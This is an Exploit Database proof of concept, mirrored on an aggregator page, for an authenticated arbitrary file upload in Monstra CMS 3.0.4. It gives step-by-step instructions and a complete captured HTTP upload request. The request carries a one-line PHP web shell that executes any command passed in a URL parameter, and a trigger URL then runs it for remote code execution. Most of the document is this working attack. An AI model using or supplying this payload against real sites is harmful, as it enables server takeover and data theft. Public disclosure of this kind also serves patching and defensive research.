Monstra CMS 3.0.4 – Authenticated Arbitrary File Upload

• Exploit Database
• 15 阅读

• 作者： Kishan Lal Choudhary
  日期： 2020-05-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48479/

• # Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
  # Google Dork: N/A
  # Date: 2020-05-18
  # Exploit Author: Kishan Lal Choudhary
  # Vendor Homepage: https://monstra.org
  # Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip
  # Version: 3.0.4
  # Tested on: Ubuntu
  
  
  
  1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/
  
  2. Upload a one liner shell with php7 extenstion ie: shell.php7
  
  #burp request
  ------------------------------------EOF-----------------------------------------------------
  POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
  Host: 192.168.2.5
  Content-Length: 548
  Cache-Control: max-age=0
  Origin: http://192.168.2.5
  Upgrade-Insecure-Requests: 1
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
  User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
  Accept-Encoding: gzip, deflate
  Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
  Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328
  Connection: close
  
  ------WebKitFormBoundarytRfyCkYq8NvztDBf
  Content-Disposition: form-data; name="csrf"
  
  2e6ae2353998caa319aae262b113c6b3f17a9636
  ------WebKitFormBoundarytRfyCkYq8NvztDBf
  Content-Disposition: form-data; name="file"; filename="shell.php7"
  Content-Type: application/octet-stream
  
  <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
  
  
  ------WebKitFormBoundarytRfyCkYq8NvztDBf
  Content-Disposition: form-data; name="upload_file"
  
  Upload
  ------WebKitFormBoundarytRfyCkYq8NvztDBf--
  
  ------------------------------------EOF-----------------------------------------------------
  
  
  3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id
  
  
  
  
  We have successfully got Remote Code execution